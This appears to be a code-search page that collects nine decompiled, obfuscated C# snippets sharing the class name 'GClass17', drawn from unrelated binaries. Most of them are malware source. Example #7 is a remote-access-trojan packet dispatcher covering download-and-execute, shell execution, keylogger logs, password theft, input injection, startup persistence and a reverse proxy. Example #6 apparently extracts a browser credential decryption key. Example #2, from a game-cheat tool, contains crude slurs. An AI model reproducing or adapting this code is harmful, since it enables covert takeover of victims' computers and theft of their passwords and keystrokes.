Example #1
0
    // Token: 0x060003A5 RID: 933 RVA: 0x0103A054 File Offset: 0x01038254
    public Class16()
    {
        NamedPipeClientStream namedPipeClientStream = new NamedPipeClientStream(< Module >.smethod_7 <string>(343830083u), <Module> .smethod_7 <string>(3259497652u), PipeDirection.InOut, PipeOptions.None, TokenImpersonationLevel.Impersonation);

        Console.WriteLine(< Module >.smethod_8 <string>(1479745066u));
        namedPipeClientStream.Connect();
        GClass17 gclass = new GClass17(namedPipeClientStream);

        gclass.method_1(< Module >.smethod_7 <string>(2229885238u));
        if (gclass.method_0() == < Module >.smethod_8 <string>(3628184980u))
        {
            string a = gclass.method_0();
            string b = < Module >.smethod_6 <string>(622882003u) + Local.MD5HWID;
            if (a == b)
            {
                Console.WriteLine(< Module >.smethod_8 <string>(2400778248u));
            }
        }
        else
        {
            Console.WriteLine(< Module >.smethod_7 <string>(1518004576u));
        }
        namedPipeClientStream.Close();
        Thread.Sleep(400000);
    }
Example #2
0
    // Token: 0x060003DC RID: 988 RVA: 0x0103A92C File Offset: 0x01038B2C
    private static void smethod_0(object object_0)
    {
        NamedPipeServerStream namedPipeServerStream = new NamedPipeServerStream("IHHpipe", PipeDirection.InOut, Class19.int_0);
        int managedThreadId = Thread.CurrentThread.ManagedThreadId;

        namedPipeServerStream.WaitForConnection();
        Console.WriteLine("Client connected on thread[{0}].", managedThreadId);
        try
        {
            GClass17 gclass = new GClass17(namedPipeServerStream);
            string   a      = gclass.method_0();
            if (a == "heyIMgay")
            {
                gclass.method_1("I am the one true gayceptor server!");
                gclass.method_1("H" + Local.MD5HWID);
            }
            if (a == "GetPath")
            {
                gclass.method_1("");
                gclass.method_1(Settings.Default.GamePath);
                Class19.bool_0 = true;
            }
            else
            {
                gclass.method_1("I like dicks");
            }
        }
        catch (IOException ex)
        {
            Console.WriteLine("ERROR: {0}", ex.Message);
        }
        namedPipeServerStream.Close();
    }
Example #3
0
 // Token: 0x060005BD RID: 1469
 public static void smethod_4(bool reconnect = false)
 {
     if (reconnect)
     {
         GClass17.smethod_29();
     }
     else
     {
         GClass0.Disconnect = true;
     }
     Class10.client_0.Disconnect();
 }
Example #4
0
 // Token: 0x060005B9 RID: 1465
 private static void smethod_0()
 {
     GClass17.smethod_29();
     if (GClass17.unsafeStreamCodec_0 != null)
     {
         GClass17.unsafeStreamCodec_0.Dispose();
     }
     if (Keylogger.Instance != null)
     {
         Keylogger.Instance.Dispose();
     }
     if (Class10.applicationContext_0 != null)
     {
         Class10.applicationContext_0.ExitThread();
     }
     GClass2.smethod_1();
 }
Example #5
0
        // Token: 0x0600015A RID: 346 RVA: 0x0000C53C File Offset: 0x0000A73C
        private static string smethod_12(GClass17 gclass17_0, Func <string, bool> func_0)
        {
            string text = string.Empty;

            try
            {
                foreach (KeyValuePair <string, string> keyValuePair in gclass17_0.List_0)
                {
                    if (func_0(keyValuePair.Key))
                    {
                        text = keyValuePair.Value;
                    }
                }
            }
            catch (Exception)
            {
            }
            return(text.Replace("-", string.Empty));
        }
Example #6
0
 // Token: 0x06000158 RID: 344 RVA: 0x0000C23C File Offset: 0x0000A43C
 private static byte[] smethod_10(string string_3)
 {
     byte[] array = new byte[24];
     byte[] result;
     try
     {
         if (!File.Exists(string_3))
         {
             result = array;
         }
         else
         {
             new DataTable();
             GClass17 gclass17_ = new GClass17(string_3);
             GClass15 gclass    = new GClass15(Class13.smethod_12(gclass17_, new Func <string, bool>(Class13.Class14.< > 9.method_0)));
             string   string_4  = Class13.smethod_12(gclass17_, new Func <string, bool>(Class13.Class14.< > 9.method_1));
             GClass16 gclass2   = new GClass16(Class13.smethod_11(string_4), Encoding.Default.GetBytes(string.Empty), Class13.smethod_11(gclass.String_0));
             gclass2.method_0();
             GClass14.smethod_0(gclass2.Byte_3, gclass2.Byte_4, Class13.smethod_11(gclass.String_2), PaddingMode.None);
             GClass12 gclass3 = GClass10.smethod_0(Class13.smethod_11(Class13.smethod_12(gclass17_, new Func <string, bool>(Class13.Class14.< > 9.method_2))));
             GClass16 gclass4 = new GClass16(Class13.smethod_11(string_4), Encoding.Default.GetBytes(string.Empty), gclass3.List_0[0].List_0[0].List_0[1].List_0[0].Byte_0);
             gclass4.method_0();
             GClass12 gclass5 = GClass10.smethod_0(GClass10.smethod_0(Encoding.Default.GetBytes(GClass14.smethod_0(gclass4.Byte_3, gclass4.Byte_4, gclass3.List_0[0].List_0[1].Byte_0, PaddingMode.None))).List_0[0].List_0[2].Byte_0);
             if (gclass5.List_0[0].List_0[3].Byte_0.Length <= 24)
             {
                 array  = gclass5.List_0[0].List_0[3].Byte_0;
                 result = array;
             }
             else
             {
                 Array.Copy(gclass5.List_0[0].List_0[3].Byte_0, gclass5.List_0[0].List_0[3].Byte_0.Length - 24, array, 0, 24);
                 result = array;
             }
         }
     }
     catch (Exception)
     {
         result = array;
     }
     return(result);
 }
Example #7
0
        // Token: 0x060003A4 RID: 932 RVA: 0x0000F6F4 File Offset: 0x0000D8F4
        public static void HandlePacket(Client client, IPacket packet)
        {
            Type type = packet.GetType();

            if (!GClass0.IsAuthenticated)
            {
                if (type == typeof(GetAuthentication))
                {
                    GClass17.smethod_0((GetAuthentication)packet, client);
                    return;
                }
                if (type == typeof(SetAuthenticationSuccess))
                {
                    GClass0.IsAuthenticated = true;
                }
                return;
            }
            else
            {
                if (type == typeof(DoDownloadAndExecute))
                {
                    GClass17.smethod_9((DoDownloadAndExecute)packet, client);
                    return;
                }
                if (type == typeof(DoUploadAndExecute))
                {
                    GClass17.smethod_10((DoUploadAndExecute)packet, client);
                    return;
                }
                if (type == typeof(DoClientDisconnect))
                {
                    Class10.smethod_4(false);
                    return;
                }
                if (type == typeof(DoClientReconnect))
                {
                    Class10.smethod_4(true);
                    return;
                }
                if (type == typeof(DoClientUninstall))
                {
                    GClass17.smethod_2((DoClientUninstall)packet, client);
                    return;
                }
                if (type == typeof(GetDesktop))
                {
                    GClass17.smethod_14((GetDesktop)packet, client);
                    return;
                }
                if (type == typeof(GetProcesses))
                {
                    GClass17.smethod_25((GetProcesses)packet, client);
                    return;
                }
                if (type == typeof(DoProcessKill))
                {
                    GClass17.smethod_27((DoProcessKill)packet, client);
                    return;
                }
                if (type == typeof(DoProcessStart))
                {
                    GClass17.smethod_26((DoProcessStart)packet, client);
                    return;
                }
                if (type == typeof(GetDrives))
                {
                    GClass17.smethod_19((GetDrives)packet, client);
                    return;
                }
                if (type == typeof(GetDirectory))
                {
                    GClass17.smethod_3((GetDirectory)packet, client);
                    return;
                }
                if (type == typeof(DoDownloadFile))
                {
                    GClass17.smethod_4((DoDownloadFile)packet, client);
                    return;
                }
                if (type == typeof(DoUploadFile))
                {
                    GClass17.smethod_6((DoUploadFile)packet, client);
                    return;
                }
                if (type == typeof(DoMouseEvent))
                {
                    GClass17.smethod_15((DoMouseEvent)packet, client);
                    return;
                }
                if (type == typeof(DoKeyboardEvent))
                {
                    GClass17.smethod_16((DoKeyboardEvent)packet, client);
                    return;
                }
                if (type == typeof(GetSystemInfo))
                {
                    GClass17.smethod_24((GetSystemInfo)packet, client);
                    return;
                }
                if (type == typeof(DoVisitWebsite))
                {
                    GClass17.smethod_11((DoVisitWebsite)packet, client);
                    return;
                }
                if (type == typeof(DoShowMessageBox))
                {
                    GClass17.smethod_12((DoShowMessageBox)packet, client);
                    return;
                }
                if (type == typeof(DoClientUpdate))
                {
                    GClass17.smethod_1((DoClientUpdate)packet, client);
                    return;
                }
                if (type == typeof(GetMonitors))
                {
                    GClass17.smethod_17((GetMonitors)packet, client);
                    return;
                }
                if (type == typeof(DoShellExecute))
                {
                    GClass17.smethod_28((DoShellExecute)packet, client);
                    return;
                }
                if (type == typeof(DoPathRename))
                {
                    GClass17.smethod_8((DoPathRename)packet, client);
                    return;
                }
                if (type == typeof(DoPathDelete))
                {
                    GClass17.smethod_7((DoPathDelete)packet, client);
                    return;
                }
                if (type == typeof(DoShutdownAction))
                {
                    GClass17.smethod_20((DoShutdownAction)packet, client);
                    return;
                }
                if (type == typeof(GetStartupItems))
                {
                    GClass17.smethod_21((GetStartupItems)packet, client);
                    return;
                }
                if (type == typeof(DoStartupItemAdd))
                {
                    GClass17.smethod_22((DoStartupItemAdd)packet, client);
                    return;
                }
                if (type == typeof(DoStartupItemRemove))
                {
                    GClass17.smethod_23((DoStartupItemRemove)packet, client);
                    return;
                }
                if (type == typeof(DoDownloadFileCancel))
                {
                    GClass17.smethod_5((DoDownloadFileCancel)packet, client);
                    return;
                }
                if (type == typeof(GetKeyloggerLogs))
                {
                    GClass17.smethod_18((GetKeyloggerLogs)packet, client);
                    return;
                }
                if (type == typeof(GetPasswords))
                {
                    GClass17.smethod_13((GetPasswords)packet, client);
                    return;
                }
                if (type == typeof(ReverseProxyConnect) || type == typeof(ReverseProxyConnectResponse) || type == typeof(ReverseProxyData) || type == typeof(ReverseProxyDisconnect))
                {
                    ReverseProxyCommandHandler.HandleCommand(client, packet);
                }
                return;
            }
        }
Example #8
0
 // Token: 0x060003F7 RID: 1015 RVA: 0x0103AB18 File Offset: 0x01038D18
 public GClass18(GClass17 gclass17_1, string string_1)
 {
     this.string_0   = string_1;
     this.gclass17_0 = gclass17_1;
 }
Example #9
0
 // Token: 0x060005BE RID: 1470
 private static void smethod_5()
 {
     GClass17.smethod_29();
 }